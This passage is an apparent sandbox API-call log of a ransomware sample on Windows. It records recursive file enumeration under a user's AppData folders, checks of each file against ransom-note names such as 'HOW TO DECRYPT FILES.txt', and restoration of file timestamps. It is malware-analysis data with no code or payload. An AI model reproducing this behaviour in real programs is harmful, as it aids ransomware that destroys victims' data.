ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.906] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.906] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.907] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1 [0084.907] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0084.907] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Custom.theme") returned 1 [0084.907] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Custom.theme") returned 1 [0084.907] lstrcmpiA (lpString1="", lpString2="Custom.theme") returned -1 [0084.907] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\*.*") returned="*.*" [0084.908] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0084.909] CloseHandle (hObject=0x98) returned 1 [0084.909] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\", lpString2="Custom.theme" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\Custom.theme") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Themes\\Custom.theme" [0084.909] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 0 [0084.909] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0084.909] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8f3fc040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8f3fc040, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1 [0084.909] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.909] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UsrClass.dat") returned -1 [0084.909] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UsrClass.dat") returned -1 [0084.909] lstrcmpiA (lpString1="", lpString2="UsrClass.dat") returned -1 [0084.909] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*.*") returned="*.*" [0084.911] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0084.911] CloseHandle (hObject=0x94) returned 1 [0084.911] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", lpString2="UsrClass.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" [0084.912] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8f3d5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1 [0084.912] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.912] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UsrClass.dat.LOG1") returned -1 [0084.912] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UsrClass.dat.LOG1") returned -1 [0084.912] lstrcmpiA (lpString1="", lpString2="UsrClass.dat.LOG1") returned -1 [0084.912] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat") returned="UsrClass.dat" [0084.912] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1 [0084.912] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.913] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UsrClass.dat.LOG2") returned -1 [0084.913] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UsrClass.dat.LOG2") returned -1 [0084.913] lstrcmpiA (lpString1="", lpString2="UsrClass.dat.LOG2") returned -1 [0084.913] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG1") returned="UsrClass.dat.LOG1" [0084.913] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x740078, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1 [0084.913] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.913] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf") returned -1 [0084.913] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf") returned -1 [0084.913] lstrcmpiA (lpString1="", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf") returned -1 [0084.913] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.LOG2") returned="UsrClass.dat.LOG2" [0084.914] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x740078, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1 [0084.914] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.914] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms") returned -1 [0084.914] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms") returned -1 [0084.914] lstrcmpiA (lpString1="", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms") returned -1 [0084.914] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf") returned="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf" [0084.914] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x740078, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1 [0084.914] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.914] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms") returned -1 [0084.914] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms") returned -1 [0084.915] lstrcmpiA (lpString1="", lpString2="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms") returned -1 [0084.915] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms") returned="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms" [0084.915] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0084.915] lstrcmpA (lpString1=".", lpString2="WER") returned -1 [0084.915] lstrcmpA (lpString1="..", lpString2="WER") returned -1 [0084.915] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms") returned="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms" [0084.915] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\", lpString2="WER" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER" [0084.915] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x52d5ec, cFileName=".", cAlternateFileName="")) returned 0x502698 [0084.916] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.916] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0084.916] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.916] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.916] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1 [0084.917] lstrcmpA (lpString1=".", lpString2="ERC") returned -1 [0084.917] lstrcmpA (lpString1="..", lpString2="ERC") returned -1 [0084.917] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*.*") returned="*.*" [0084.917] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\", lpString2="ERC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC" [0084.917] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0084.917] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.917] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.917] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.918] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.918] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0084.918] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0084.918] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520045, dwReserved1=0x43, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0084.918] lstrcmpA (lpString1=".", lpString2="ReportArchive") returned -1 [0084.918] lstrcmpA (lpString1="..", lpString2="ReportArchive") returned -1 [0084.918] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*.*") returned="*.*" [0084.918] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\", lpString2="ReportArchive" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive" [0084.918] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0084.918] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.918] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.919] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.919] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.919] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0084.919] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0084.919] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520045, dwReserved1=0x43, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0 [0084.919] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0084.919] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450057, dwReserved1=0x52, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1 [0084.919] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.919] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsUpdate.log") returned -1 [0084.919] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsUpdate.log") returned -1 [0084.919] lstrcmpiA (lpString1="", lpString2="WindowsUpdate.log") returned -1 [0084.919] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*.*") returned="*.*" [0084.920] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450057, dwReserved1=0x52, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0 [0084.920] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0084.920] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0084.920] lstrcmpA (lpString1=".", lpString2="Windows Mail") returned -1 [0084.920] lstrcmpA (lpString1="..", lpString2="Windows Mail") returned -1 [0084.920] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*.*") returned="*.*" [0084.920] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", lpString2="Windows Mail" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail" [0084.920] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0084.924] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.924] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.924] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.924] lstrcmpA (lpString1="..", 